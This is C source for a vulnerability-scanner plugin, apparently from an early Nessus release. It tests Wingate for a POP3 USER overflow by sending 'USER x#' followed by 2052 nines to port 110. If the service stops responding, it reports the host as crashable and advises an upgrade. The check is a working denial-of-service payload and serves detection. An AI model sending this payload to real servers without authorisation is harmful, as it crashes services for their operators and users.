/*
 *
 * This plugin has been written by Paco Brufal <mutoid@cyberdude.com>
 * and is released under the GPL (Gnu Public License)
 *
 */

#include <includes.h>

#define NAME "Wingate POP3 USER overflow"
#define DESC "\
Wingate can crash if a user telnet to port 110 (POP3) on a machine running\n\
Wingate and try to login as \"USER x#9999[a lot of 9's]\"\n\
Risk factor : high"
#define COPYRIGHT "Paco Brufal, GPL"
#define SUMM "crash Wingate"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}
	

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int s,i;
	char * buff;
	
	if(host_get_port_state(args, 110)<=0)return(0);
	s = open_sock_tcp(args, 110);
	if(s<0)return(-1);
	buff = emalloc(2048);
	recv_line(s, buff, 2047);
        sprintf(buff, "USER x#");
        write(s, buff, 7);
	sprintf(buff, "9");
	for(i=0;i<2052;i++) send(s, buff, 1,0);
        sprintf(buff, "\n");
        send(s, buff, 1,0);
	recv_line(s, buff, 2047);
        	
	if(!strlen(buff))
	{
	post_info(args, 110,
"The machine running Wingate can be crashed by anybody\n\
logging as 'x#999(...)9\n\
Solution : upgrade to Wingate's latest version");
 	}
        socket_close(s);
	efree(&buff);
	return(0);
}
